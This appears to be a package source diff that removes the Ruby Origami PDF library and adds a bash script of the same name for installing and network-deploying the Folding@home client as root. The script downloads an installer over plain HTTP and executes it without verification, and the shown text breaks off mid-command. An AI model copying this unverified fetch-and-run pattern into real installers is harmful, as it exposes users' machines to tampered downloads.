'presence' - xfa_attribute 'relevant' - xfa_attribute 'restoreState' - xfa_attribute 'scope' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'w' - xfa_attribute 'x' - xfa_attribute 'y' - - xfa_node 'assist', Template::Assist, 0..1 - xfa_node 'bind', Template::Bind, 0..1 - xfa_node 'bookend', Template::Bookend, 0..1 - xfa_node 'border', Template::Border, 0..1 - xfa_node 'break', Template::Break, 0..1 - xfa_node 'calculate', Template::Calculate, 0..1 - xfa_node 'desc', Template::Desc, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'keep', Template::Keep, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - xfa_node 'occur', Template::Occur, 0..1 - xfa_node 'overflow', Template::Overflow, 0..1 - xfa_node 'pageSet', Template::PageSet, 0..1 - xfa_node 'para', Template::Para, 0..1 - xfa_node 'traversal', Template::Traversal, 0..1 - xfa_node 'validate', Template::Validate, 0..1 - xfa_node 'variables', Template::Variables, 0..1 - - xfa_node 'area', Template::Area - xfa_node 'breakAfter', Template::BreakAfter - xfa_node 'breakBefore', Template::BreakBefore - xfa_node 'connect', Template::Connect - xfa_node 'draw', Template::Draw - xfa_node 'event', Template::Event - xfa_node 'exObject', Template::ExObject - xfa_node 'exclGroup', Template::ExclGroup - xfa_node 'field', Template::Field - xfa_node 'proto', Template::Proto - xfa_node 'setProperty', Template::SetProperty - xfa_node 'subform', Template::Subform - xfa_node 'subformSet', Template::SubformSet - - def initialize - super('subform') - end - end - - xfa_attribute 'baseProfile' - xfa_node 'extras', Template::Extras, 0..1 - - xfa_node 'subform', Template::Subform - - def initialize - super("template") - - add_attribute 'xmlns:xfa', 'http://www.xfa.org/schema/xfa-template/3.0/' - end - end - - # - # The _xdc_ packet encloses application-specific XFA driver configuration instruction. - # - class XDC < XFA::Element - mime_type '' - - def initialize - super("xsl:xdc") - - add_attribute 'xmlns:xdc', 'http://www.xfa.org/schema/xdc/1.0/' - end - end - - # - # The _xfdf_ (annotations) packet enclosed collaboration annotations placed upon a PDF document. - # - class XFDF < XFA::Element - mime_type 'application/vnd.adobe.xfdf' - - def initialize - super("xfdf") - - add_attribute 'xmlns', 'http://ns.adobe.com/xfdf/' - add_attribute 'xml:space', 'preserve' - end - end - - # - # An _XMP_ packet contains XML representation of PDF metadata. - # - class XMPMeta < XFA::Element - mime_type 'application/rdf+xml' - - def initialize - super("xmpmeta") - - add_attribute 'xmlns', 'http://ns.adobe.com/xmpmeta/' - add_attribute 'xml:space', 'preserve' - end - end - - end - - class XDP < XFA::Element - xfa_attribute 'uuid' - xfa_attribute 'timeStamp' - - xfa_node 'config', Origami::XDP::Packet::Config, 0..1 - xfa_node 'connectionSet', Origami::XDP::Packet::ConnectionSet, 0..1 - xfa_node 'datasets', Origami::XDP::Packet::Datasets, 0..1 - xfa_node 'localeSet', Origami::XDP::Packet::LocaleSet, 0..1 - xfa_node 'pdf', Origami::XDP::Packet::PDF, 0..1 - xfa_node 'sourceSet', Origami::XDP::Packet::SourceSet, 0..1 - xfa_node 'styleSheet', Origami::XDP::Packet::StyleSheet, 0..1 - xfa_node 'template', Origami::XDP::Packet::Template, 0..1 - xfa_node 'xdc', Origami::XDP::Packet::XDC, 0..1 - xfa_node 'xfdf', Origami::XDP::Packet::XFDF, 0..1 - xfa_node 'xmpmeta', Origami::XDP::Packet::XMPMeta, 0..1 - - def initialize - super('xdp:xdp') - - add_attribute 'xmlns:xdp', 'http://ns.adobe.com/xdp/' - end - end - - class Package < REXML::Document - - def initialize(package = nil) - super(package || REXML::XMLDecl.new.to_s) - - add_element Origami::XDP::XDP.new if package.nil? - end - - end - - end - -end - diff -Nru origami-1.2.7/lib/origami/xreftable.rb origami-1.2.7+really0.7.4/lib/origami/xreftable.rb --- origami-1.2.7/lib/origami/xreftable.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/xreftable.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,456 +0,0 @@ -=begin - -= File - xreftable.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - # - # Tries to strip any xrefs information off the document. - # - def remove_xrefs - def delete_xrefstm(xrefstm) - prev = xrefstm.Prev - delete_object(xrefstm.reference) - - if prev.is_a?(Integer) and (prev_stm = get_object_by_offset(prev)).is_a?(XRefStream) - delete_xrefstm(prev_stm) - end - end - - @revisions.reverse_each do |rev| - if rev.has_xrefstm? - delete_xrefstm(rev.xrefstm) - end - - if rev.trailer.has_dictionary? and rev.trailer.XRefStm.is_a?(Integer) - xrefstm = get_object_by_offset(rev.trailer.XRefStm) - - delete_xrefstm(xrefstm) if xrefstm.is_a?(XRefStream) - end - - rev.xrefstm = rev.xreftable = nil - end - end - - end - - class InvalidXRefError < Exception #:nodoc: - end - - # - # Class representing a Cross-reference information. - # - class XRef - - FREE = "f" - USED = "n" - FIRSTFREE = 65535 - - @@regexp = /(\d{10}) (\d{5}) (n|f)(\r\n| \r| \n)/ - - attr_accessor :offset, :generation, :state - - # - # Creates a new XRef. - # _offset_:: The file _offset_ of the referenced Object. - # _generation_:: The generation number of the referenced Object. - # _state_:: The state of the referenced Object (FREE or USED). - # - def initialize(offset, generation, state) - @offset, @generation, @state = offset, generation, state - end - - def self.parse(stream) #:nodoc: - - if stream.scan(@@regexp).nil? - raise InvalidXRefError, "Invalid XRef format" - end - - offset = stream[1].to_i - generation = stream[2].to_i - state = stream[3] - - XRef.new(offset, generation, state) - end - - # - # Outputs self into PDF code. - # - def to_s - off = ("0" * (10 - @offset.to_s.length)) + @offset.to_s - gen = ("0" * (5 - @generation.to_s.length)) + @generation.to_s - - "#{off} #{gen} #{@state}" + EOL - end - - def to_xrefstm_data(type_w, field1_w, field2_w) - type_w <<= 3 - field1_w <<= 3 - field2_w <<= 3 - - type = ((@state == FREE) ? "\000" : "\001").unpack("B#{type_w}")[0] - - offset = @offset.to_s(2) - offset = '0' * (field1_w - offset.size) + offset - generation = @generation.to_s(2) - - generation = '0' * (field2_w - generation.size) + generation - - [ type , offset, generation ].pack("B#{type_w}B#{field1_w}B#{field2_w}") - end - - class InvalidXRefSubsectionError < Exception #:nodoc: - end - - # - # Class representing a cross-reference subsection. - # A subsection contains a continute set of XRef. - # - class Subsection - - @@regexp = Regexp.new("(\\d+) (\\d+)" + WHITESPACES + "(\\r?\\n|\\r\\n?)") - - attr_reader :range - - # - # Creates a new XRef subsection. - # _start_:: The number of the first object referenced in the subsection. - # _entries_:: An array of XRef. - # - def initialize(start, entries = []) - - @entries = entries.dup - @range = Range.new(start, start + entries.size - 1) - - end - - def self.parse(stream) #:nodoc: - - if stream.scan(@@regexp).nil? - raise InvalidXRefSubsectionError, "Bad subsection format" - end - - start = stream[1].to_i - size = stream[2].to_i - - xrefs = [] - size.times do - xrefs << XRef.parse(stream) - end - - XRef::Subsection.new(start, xrefs) - end - - # - # Returns whether this subsection contains information about a particular object. - # _no_:: The Object number. - # - def has_object?(no) - @range.include?(no) - end - - # - # Returns XRef associated with a given object. - # _no_:: The Object number. - # - def [](no) - @entries[no - @range.begin] - end - - # - # Processes each XRef in the subsection. - # - def each(&b) - @entries.each(&b) - end - - # - # Outputs self into PDF code. - # - def to_s - section = "#{@range.begin} #{@range.end - @range.begin + 1}" + EOL - @entries.each { |xref| - section << xref.to_s - } - - section - end - - end - - class InvalidXRefSectionError < Exception #:nodoc: - end - - # - # Class representing a Cross-reference table. - # A section contains a set of XRefSubsection. - # - class Section - - @@regexp_open = Regexp.new(WHITESPACES + "xref" + WHITESPACES + "(\\r?\\n|\\r\\n?)") - @@regexp_sub = Regexp.new("(\\d+) (\\d+)" + WHITESPACES + "(\\r?\\n|\\r\\n?)") - - # - # Creates a new XRef section. - # _subsections_:: An array of XRefSubsection. - # - def initialize(subsections = []) - @subsections = subsections - end - - def self.parse(stream) #:nodoc: - - if stream.skip(@@regexp_open).nil? - raise InvalidXRefSectionError, "No xref token found" - end - - subsections = [] - while stream.match?(@@regexp_sub) do - subsections << XRef::Subsection.parse(stream) - end - - XRef::Section.new(subsections) - end - - # - # Appends a new subsection. - # _subsection_:: A XRefSubsection. - # - def <<(subsection) - @subsections << subsection - end - - # - # Returns a XRef associated with a given object. - # _no_:: The Object number. - # - def [](no) - @subsections.each { |s| - return s[no] if s.has_object?(no) - } - nil - end - - alias :find :[] - - # - # Processes each XRefSubsection. - # - def each(&b) - @subsections.each(&b) - end - - # - # Outputs self into PDF code. - # - def to_s - "xref" << EOL << @subsections.join - end - - end - - end - - # - # An xref poiting to an Object embedded in an ObjectStream. - # - class XRefToCompressedObj - - attr_accessor :objstmno, :index - - def initialize(objstmno, index) - @objstmno = objstmno - @index = index - end - - def to_xrefstm_data(type_w, field1_w, field2_w) - - type_w <<= 3 - field1_w <<= 3 - field2_w <<= 3 - - type = "\002".unpack("B#{type_w}")[0] - objstmno = @objstmno.to_s(2) - objstmno = '0' * (field1_w - objstmno.size) + objstmno - index = @index.to_s(2) - index = '0' * (field2_w - index.size) + index - - [ type , objstmno, index ].pack("B#{type_w}B#{field1_w}B#{field2_w}") - end - - end - - class InvalidXRefStreamObjectError < InvalidStreamObjectError ; end - - # - # Class representing a XRef Stream. - # - class XRefStream < Stream - - XREF_FREE = 0 - XREF_USED = 1 - XREF_COMPRESSED = 2 - - include Enumerable - include StandardObject - - # - # Xref fields - # - field :Type, :Type => Name, :Default => :XRef, :Required => true, :Version => "1.5" - field :Size, :Type => Integer, :Required => true - field :Index, :Type => Array - field :Prev, :Type => Integer - field :W, :Type => Array, :Required => true - - # - # Trailer fields - # - field :Root, :Type => Dictionary, :Required => true - field :Encrypt, :Type => Dictionary - field :Info, :Type => Dictionary - field :ID, :Type => Array - - def initialize(data = "", dictionary = {}) - super(data, dictionary) - - @xrefs = nil - end - - def entries - load! if @xrefs.nil? - - @xrefs - end - - # - # Returns XRef entries present in this stream. - # - def pre_build #:nodoc: - load! if @xrefs.nil? - - self.W = [ 1, 2, 2 ] unless has_field?(:W) - self.Size = @xrefs.length + 1 - - save! - - super - end - - # - # Adds an XRef to this Stream. - # - def <<(xref) - load! if @xrefs.nil? - - @xrefs << xref - end - - # - # Iterates over each XRef present in the stream. - # - def each(&b) - load! if @xrefs.nil? - - @xrefs.each(&b) - end - - # - # Returns an XRef matching this object number. - # - def find(no) - load! if @xrefs.nil? - - ranges = self.Index || [ 0, @xrefs.length ] - - index = 0 - (ranges.size / 2).times do |i| - brange = ranges[i*2].to_i - size = ranges[i*2+1].to_i - return @xrefs[index + no - brange] if Range.new(brange, brange + size - 1) === no - - index += size - end - - nil - end - - def clear - self.data = '' - @xrefs = [] - self.Index = [] - end - - private - - def load! #:nodoc: - if @xrefs.nil? and has_field?(:W) - widths = self.W - - if not widths.is_a?(Array) or widths.length != 3 or widths.any?{|width| not width.is_a?(Integer) } - raise InvalidXRefStreamObjectError, "W field must be an array of 3 integers" - end - - decode! - - type_w = self.W[0] - field1_w = self.W[1] - field2_w = self.W[2] - - entrymask = "B#{type_w << 3}B#{field1_w << 3}B#{field2_w << 3}" - size = @data.size / (type_w + field1_w + field2_w) - - xentries = @data.unpack(entrymask * size).map!{|field| field.to_i(2) } - - @xrefs = [] - size.times do |i| - type,field1,field2 = xentries[i*3].ord,xentries[i*3+1].ord,xentries[i*3+2].ord - case type - when XREF_FREE - @xrefs << XRef.new(field1, field2, XRef::FREE) - when XREF_USED - @xrefs << XRef.new(field1, field2, XRef::USED) - when XREF_COMPRESSED - @xrefs << XRefToCompressedObj.new(field1, field2) - end - end - else - @xrefs = [] - end - end - - def save! #:nodoc: - self.data = "" - - type_w, field1_w, field2_w = self.W - @xrefs.each do |xref| @data << xref.to_xrefstm_data(type_w, field1_w, field2_w) end - - encode! - end - - end - -end diff -Nru origami-1.2.7/lib/origami.rb origami-1.2.7+really0.7.4/lib/origami.rb --- origami-1.2.7/lib/origami.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,55 +0,0 @@ -=begin - -= File - origami.rb - -= Info - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - - -if RUBY_VERSION < '1.9' - class Fixnum - def ord; self; end - end - - class Hash - alias key index - end -end - -module Origami - VERSION = "1.2.6" - REVISION = "$Revision$" #:nodoc: - - # - # Global - # options for Origami. - # - OPTIONS = - { - :enable_type_checking => true, # set to false to disable type consistency checks during compilation. - :enable_type_guessing => true, # set to false to prevent the parser to guess the type of special dictionary and streams (not recommended). - :enable_type_propagation => true, # set to false to prevent the parser to propagate type from parents to children. - :use_openssl => true, # set to false to use Origami crypto backend. - :ignore_bad_references => false, # set to interpret invalid references as Null objects, instead of raising an exception. - :ignore_zlib_errors => false, # set to true to ignore exceptions on invalid Flate streams. - } -end - -require 'origami/pdf' -require 'origami/extensions/fdf' -require 'origami/extensions/ppklite' - diff -Nru origami-1.2.7/origami origami-1.2.7+really0.7.4/origami --- origami-1.2.7/origami 1970-01-01 00:00:00.000000000 +0000 +++ origami-1.2.7+really0.7.4/origami 2010-05-24 20:07:09.000000000 +0000 @@ -0,0 +1,1076 @@ +#!/bin/bash +# +# origami +# +# Copyright 2007-2010 Christer Edwards. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are +# permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of +# conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list +# of conditions and the following disclaimer in the documentation and/or other materials +# provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY Christer Edwards ``AS IS'' AND ANY EXPRESS OR IMPLIED +# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Christer Edwards OR +# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# +# The views and conclusions contained in the software and documentation are those of the +# authors and should not be interpreted as representing official policies, either expressed +# or implied, of Christer Edwards. +# + +function origami_install { # + +origami_root_check + + # this is a fix for bug #200026, which is based on how Ubuntu/Debian changed + # useradd. This tests for the normal distros (in terms of useradd) vs the + # abnormal and then creates the system user properly. + if ( lsb_release -d | egrep "(Red Hat)|CentOS|Fedora|SUSE|openSUSE" ) &>/dev/null; then + USERADDITION="standard" + elif egrep "(Red Hat)|CentOS|Fedora|SUSE|openSUSE" /etc/redhat-release &>/dev/null; then + USERADDITION="standard" + elif grep "Foresight" /etc/distro-release &>/dev/null; then + USERADDITION="standard" + elif [ -e /etc/arch-release ]; then + USERADDITION="standard" + elif [ -e /etc/gentoo-release ]; then + USERADDITION="standard" + elif ( lsb_release -d | egrep "Ubuntu|Debian|Mint|gNewSense" ) &>/dev/null; then + USERADDITION="nonstandard" + elif egrep "Ubuntu|Debian|Mint" /etc/lsb-release &>/dev/null; then + USERADDITION="nonstandard" + fi + + # this is a workaround for bug #187218 + if [[ $(getent passwd root | cut -d: -f7) != "/bin/bash" ]]; then + echo "###############################################" 1>&2 + echo "# the root user shell must be /bin/bash #" 1>&2 + echo "###############################################" 1>&2 + exit 1 + fi + + if [[ -x /etc/init.d/origami && -d /var/lib/origami ]]; then + origami_show_error 'ORIGAMI APPEARS TO ALREADY BE INSTALLED. ABORTING!' + fi + + # creating system user, testing for major distributions + if [ "${USERADDITION}" == "standard" ]; then + useradd -r -m -d /var/lib/origami -s /bin/bash origami &>/dev/null || origami_show_error 'USER CREATION FAILED!' + elif [ "${USERADDITION}" == "nonstandard" ]; then + adduser --system --home /var/lib/origami --shell /bin/bash origami &>/dev/null || origami_show_error 'USER CREATION FAILED!' + else + origami_show_error 'POSSIBLE UNKNOWN DISTRIBUTION. PLEASE REPORT' + fi + + # create the client.cfg and system cron job + origami_create_config + origami_create_cron + + # changing current working directory + if ([[ -r /var/lib/origami && -d /var/lib/origami && -x /var/lib/origami ]]); then + cd /var/lib/origami/ + else + origami_show_error 'CAN NOT CHANGE INTO DIRECTORY: /var/lib/origami!' + fi + + # this will check for a pre-downloaded finstall file (shared from server) + # and use that to speed up the wget download. (0.6.6.1) + if [ -r /tmp/finstall ]; then + cp /tmp/finstall /var/lib/origami/ || origami_show_warning 'UNABLE TO COPY PRE-FETCHED FILE, ATTEMPTING WGET INSTEAD...' + fi + + # this will check for pre-downloaded FAH504-Linux.exe file (shared from + # server) and use that to speed up the wget download. (0.6.6.1) + if [ -x /tmp/FAH504-Linux.exe ]; then + cp /tmp/FAH504-Linux.exe /var/lib/origami/foldingathome/ || origami_show_warning 'UNABLE TO COPY PRE-FETCHED FILE, ATTEMPTING WGET INSTEAD...' + fi + + # pulling down installer file to newly created directories + # if the above copy was successful this should speed the process. + FILE="http://zelut.org/projects/misc/finstall" + DESTFILE="/var/lib/origami/finstall" + + if [ -x $(which wget) ]; then + wget --quiet -O $DESTFILE -c $FILE || origami_show_error 'WGET RETRIEVAL FAILED!' + elif [ -x $(which curl) ]; then + curl -o $DESTFILE --silent $FILE || origami_show_error 'CURL RETRIEVAL FAILED!' + else + origami_show_error 'INSTALLER RETRIEVAL FAILED. YOU NEED WGET OR CURL' + fi + + # changing ownership on finstall + chown -R origami. finstall &>/dev/null || origami_show_error 'UNABLE TO CHANGE OWNERSHIP' + chmod u+x finstall &>/dev/null || origami_show_error 'UNABE TO SET EXECUTE PERMISSIONS' + + # running installer on auto-pilot + echo "INSTALLING... PLEASE BE PATIENT" + if [ "${PROCESSOR}" == "amd64" ]; then + su - origami -c "./finstall auto smp skip3rd" &>/dev/null || origami_show_error 'SMP INSTALLER FAILED' + else + su - origami -c "./finstall auto skip3rd" &>/dev/null || origami_show_error 'INSTALLER FAILED' + fi + + # moving config file into place / updating config + for CONFIG in $(ls -d foldingathome/CPU*/); do + NUM=$(echo "${CONFIG}" | cut -c18 -) + cp client.cfg ${CONFIG} + sed -i "s/machineid=1/machineid=${NUM}/g" ${CONFIG}/client.cfg + done + + # setting the username and team + if [[ ! -z "${ORIGAMIUSER}" || ! -z "${ORIGAMITEAM}" ]]; then + for CONFIG in $(ls -d /var/lib/origami/foldingathome/CPU*/); do + sed -i "s/username=Anonymous/username="$ORIGAMIUSER"/g" ${CONFIG}/client.cfg + sed -i "s/team=0/team="$ORIGAMITEAM"/g" ${CONFIG}/client.cfg + done + fi + + # setting the port information + if [[ "${PORT}" != "8080" && "${HOST}" != "localhost" ]]; then + for CONFIG in $(ls -d /var/lib/origami/foldingathome/CPU*/); do + sed -i "s/active=no/active=yes/g" ${CONFIG}/client.cfg + sed -i "s/port=8080/port=${PORT}/g" ${CONFIG}/client.cfg + sed -i "s/host=localhost/host=${HOST}/g" ${CONFIG}/client.cfg + done + fi + + # setting passkey + if [ ! -z "${PASSKEY}" ]; then + for CONFIG in $(ls -d /var/lib/origami/foldingathome/CPU*/); do + sed -i "s/passkey=/passkey="$PASSKEY"/g" ${CONFIG}/client.cfg + done + fi + + # setting size value + SIZE=$(echo ${SIZE} | tr [A-Z] [a-z]) + if [[ "${SIZE}" != "small" && "${SIZE}" != "normal" && "${SIZE}" != "big" ]]; then + origami_show_error 'SIZE OPTION REQUIRES: small, normal or big' + fi + + if [[ "${SIZE}" == "big" || "${SIZE}" == "small" ]]; then + for CONFIG in $(ls -d /var/lib/origami/foldingathome/CPU*/); do + sed -i "s/bigpackets=normal/bigpackets="$SIZE"/g" ${CONFIG}/client.cfg + done + fi + + if [[ "${COREPRIORITY}" == "low" ]]; then + for CONFIG in $(ls -d /var/lib/origami/foldingathome/CPU*/); do + sed -i "s/priority=0/priority=96/g" ${CONFIG}/client.cfg + done + fi + + if [[ "${ADVMETHODS}" == "1" ]]; then + for CONFIG in $(ls -d /var/lib/origami/foldingathome/CPU*/); do + sed -i "s/type=0/type=3/g" ${CONFIG}/client.cfg + done + fi + + # this fixes bug #220296 + mv foldingathome/folding foldingathome/origami || origami_show_error 'STARTUP SCRIPT MIGRATION FAILED' + sed -i "98,124s/folding/origami/g" foldingathome/installService || origami_show_error 'STARTUP SCRIPT MIGRATION FAILED' + sed -i "60,67s/folding/origami/g" foldingathome/uninstallService || origami_show_error 'STARTUP SCRIPT MIGRATION FAILED' + + ### this is a pending fix for the shutdown time bug #372111 ### + sed -i "s/35/5/" foldingathome/origami || origami_show_error 'STARTUP SCRIPT MIGRATION FAILED' + + # lets make sure everything else is owned properly + if [ -e /etc/arch-release ]; then + chown -R origami.users /var/lib/origami &>/dev/null || origami_show_error 'UNABEL TO CHANGE OWNERSHIP' + chmod 755 /var/lib/origami/ &>/dev/null + else + chown -R origami. /var/lib/origami/ &>/dev/null || origami_show_error 'UNABLE TO CHANGE OWNERSHIP' + fi + + # starting installService + /var/lib/origami/foldingathome/installService &>/dev/null || origami_show_error 'STARTUP SCRIPT FAILED TO INSTALL!' + + # starting init.d script + if [ -e /etc/arch-release ]; then + /etc/rc.d/origami start &>/dev/null || origami_show_error 'STARTUP SCRIPT FAILED TO START!' + else + /etc/init.d/origami start &>/dev/null || origami_show_error 'STARTUP SCRIPT FAILED TO START!' + fi + + # minor cleanup for kickstart installations - harmless if deploying regularly + if [ -w /etc/rc.local ]; then + sed -i.origami "/origami-${VERSION}/d" /etc/rc.local + elif [ -w /etc/init.d/boot.after ]; then + sed -i.origami "/origami-${VERSION}/d" /etc/init.d/boot.after + fi + + echo 'INSTALLATION SUCCESSFUL' + +exit 0 +} # + +function origami_migrate { # + +origami_root_check + + # check to see if migration is even needed + if [[ ! -x /etc/init.d/folding || ! -r /var/lib/folding/ ]];then + origami_show_error 'MIGRATION DOES NOT APPEAR TO BE NEEDED' + fi + + # stopping local service + echo "stopping the local service" + /etc/init.d/folding stop &>/dev/null || origami_show_error 'UNABLE TO STOP LOCAL SERVICE!' + + # archiving folding.sh data to .origami + echo "archiving local data. storing data in ~/.origami" + + pushd /var/lib/folding/ + tar -cjf $(hostname)-$(date +%F).tar.bz2 * &>/dev/null || origami_show_error 'UNABLE TO ARCHIVE ORIGAMI CONTENTS' + + # lets make sure the .origami storage folder is setup + if [ ! -d ~/.origami/ ]; then + mkdir ~/.origami || origami_show_error 'UNABLE TO CREATE ~/.origami DIRECTORY! PLEASE CREATE MANUALLY.' + fi + + # move the archived folding.sh files to the .origami folder + mv $(hostname)-$(date +%F).tar.bz2 ~/.origami/ || origami_show_error 'UNABLE TO MOVE ARCHIVE TO ~/.origami' + popd + + # now we'll start uninstalling the folding.sh + echo 'UNINSTALLING folding.sh. PLEASE BE PATIENT.' + + # uninstall the /etc/init.d/folding script + /var/lib/folding/foldingathome/uninstallService &>/dev/null || origami_show_warning 'UNABLE TO REMOVE STARTUP SCRIPT. PLEASE TRY MANUALLY' + + # get rid of the folding user & home folder data + userdel -r folding &>/dev/null || origami_show_warning 'USER REMOVAL FAILED!' + + # removing any remaining origami files + if ([ -w /var/lib/folding ] && ! (rm -rf /var/lib/folding) &>/dev/null ); then + origami_show_warning 'THERE MAY BE FILES REMAINING IN /var/lib/folding' + fi + + # previous installation is gone, now we can worry about installing origami + # notice we do this without any install switches. The archived data has those settings after all. + # lets also try to cover bases for those installed via package & those going manual + if [ $(which origami 2>/dev/null) == "/usr/bin/origami" ]; then + $(which origami) install &>/dev/null || origami_show_error 'ORIGAMI INSTALLATION FAILED' + elif [ $(which origami) != "/usr/bin/origami" ]; then + ./origami install &>/dev/null || origami_show_error 'ORIGAMI INSTALLATION FAILED' + else + origami_show_error 'UNABLE TO LOCATE origami FOR NEW INSTALLATION' + fi + + # now assuming the install worked we need to migrate the archived data + # making sure both installations are stopped + /etc/init.d/origami stop &>/dev/null | origami_show_error 'UNABLE TO STOP SERVICE' + + # restoring the data and restarting the service + pushd /var/lib/origami/ + tar -xf ~/.origami/$(hostname)-*.tar.bz2 &>/dev/null || origami_show_error 'UNABLE TO RESTORE LOCAL ORIGAMI DATA!' + chown -R origami. /var/lib/origami/ &>/dev/null || origami_show_error 'UNABLE TO CHANGE OWNERSHIP' + popd + + # lets restart the new installation now that the old data is in place + /etc/init.d/origami start &>/dev/null || origami_show_error 'UNABLE TO START LOCAL SERVICE!' + + # that should cover it + echo "Migration should be complete. Run 'origami monitor' to verify continued progress." + echo 'Please report feedback to http://origami.zelut.org/flyspray/' + +exit 0 +} + +function origami_erase { # + +origami_root_check + + echo 'UNINSTALLING... PLEASE BE PATIENT.' + + # stopping the origami client if running + # added check to see if startup script even exists and is executable + if [ -x /etc/init.d/origami ]; then + /etc/init.d/origami stop &>/dev/null || origami_show_warning 'UNABLE TO STOP SERVICE. PLEASE TRY MANUALLY' + elif [ -x /etc/rc.d/origami ]; then + /etc/rc.d/origami stop &>/dev/null || origami_show_warning 'UNABLE TO STOP SERVICE. PLEASE TRY MANUALLY' + fi + + # removing init script + /var/lib/origami/foldingathome/uninstallService &>/dev/null || origami_show_warning 'UNABLE TO REMOVE STARTUP SCRIPT. PLEASE TRY MANUALLY' + userdel -r origami &>/dev/null || origami_show_warning 'USER REMOVAL FAILED!' + + # removing any remaining origami files + if ([ -w /var/lib/origami ] && ! (rm -rf /var/lib/origami) &>/dev/null ); then + origami_show_warning 'THERE MAY BE FILES REMAINING IN /var/lib/origami' + fi + + echo 'Please report feedback at http://origami.zelut.org/flyspray/' + +exit 0 +} # + +function origami_deploy { # + +origami_root_check + + if [ -z "${PASSKEY}" ]; then + origami_show_error 'NETWORK DEPLOYMENT REQUIRES PASSKEY VALUE. SEE: http://folding.stanford.edu/English/FAQ-passkey' + fi + + if [ ! -f ~/.origamirc ]; then + origami_show_error '~/.origamirc IS REQUIRED FOR NETWORK DEPLOYMENT. SEE README!' + fi + + echo "Beginning network based deployment..." + # dumping out the list of IPs from the ~/.origamirc + for MACHINES in $(grep -v "#" ~/.origamirc); + do + # if origami is installed locally we'll copy needed files to MACHINES + # The install function now also checks for these files + if [ -x /var/lib/origami/finstall ]; then + scp -q /var/lib/origami/finstall root@${MACHINES}:/tmp/ + fi + + # this is the origami @ home client itself. Does this violate the + # distribution license? :) + if [ -x /var/lib/origami/foldingathome/FAH504-Linux.exe ]; then + scp -q /var/lib/origami/foldingathome/FAH504-Linux.exe root@${MACHINES}:/tmp/ + fi + + # TODO: add test statement to check for existing origami file. + echo "copying installer to ${MACHINES}..." + if [ -x /usr/bin/origami ]; then + scp -q /usr/bin/origami root@${MACHINES}:/usr/bin/ + elif [ -x ./origami ]; then + scp -q ./origami root@${MACHINES}:/usr/bin/ + else + origami_show_error 'UNABLE TO FIND LOCAL ORIGAMI EXECUTABLE' + fi + + echo "running installer on ${MACHINES}" + ssh ${SSHOPTS} root@${MACHINES} "origami install -c "$CRON" -p "$PROCESSOR" -P "$PORT" -H "$HOST" -u "$ORIGAMIUSER" -t "$ORIGAMITEAM" -s "$SIZE" -k "$PASSKEY" &> /tmp/origami.log" + + echo "Installation of ${MACHINES} will be finished momentarily." + done + + echo "If you experienced any issues during this network deployment" + echo "please submit a bug to http://origami.zelut.org/flyspray/" + +exit 0 +} # + +function origami_local_archive { # + +origami_root_check + + if [[ ! -x /etc/init.d/origami && ! -d /var/lib/origami ]]; then + origami_show_error 'ORIGAMI DOES NOT APPEAR TO BE INSTALLED.' + fi + + if [ ! -d ~/.origami/ ]; then + mkdir ~/.origami || origami_show_error 'UNABLE TO CREATE ~/.origami DIRECTORY! PLEASE CREATE MANUALLY.' + fi + + # stopping local service + echo "stopping the local service" + /etc/init.d/origami stop &>/dev/null || origami_show_error 'UNABLE TO STOP LOCAL SERVICE!' + + # archiving data + echo "archiving local data. storing data in ~/.origami" + tar -cjf ~/.origami/$(hostname)-$(date +%F).tar.bz2 /var/lib/origami/ &>/dev/null || origami_show_error 'UNABLE TO ARCHIVE ORIGAMI CONTENTS' + + # restarting local service + echo "restarting the local service" + /etc/init.d/origami start &>/dev/null || origami_show_error 'UNABLE TO START LOCAL SERVICE!' + +exit 0 +} # + +function origami_network_archive { # + +origami_root_check + + # dumping out the list of IPs from the ~/.origamirc + for MACHINES in $(grep -v "#" ~/.origamirc) + do + ssh ${SSHOPTS} root@${MACHINES} "origami archive &>/dev/null || echo 'UNABLE TO ARCHIVE ORIGAMI CONTENTS.'" + + echo "copying ${MACHINES} archive to ~/.origami/" + scp -q 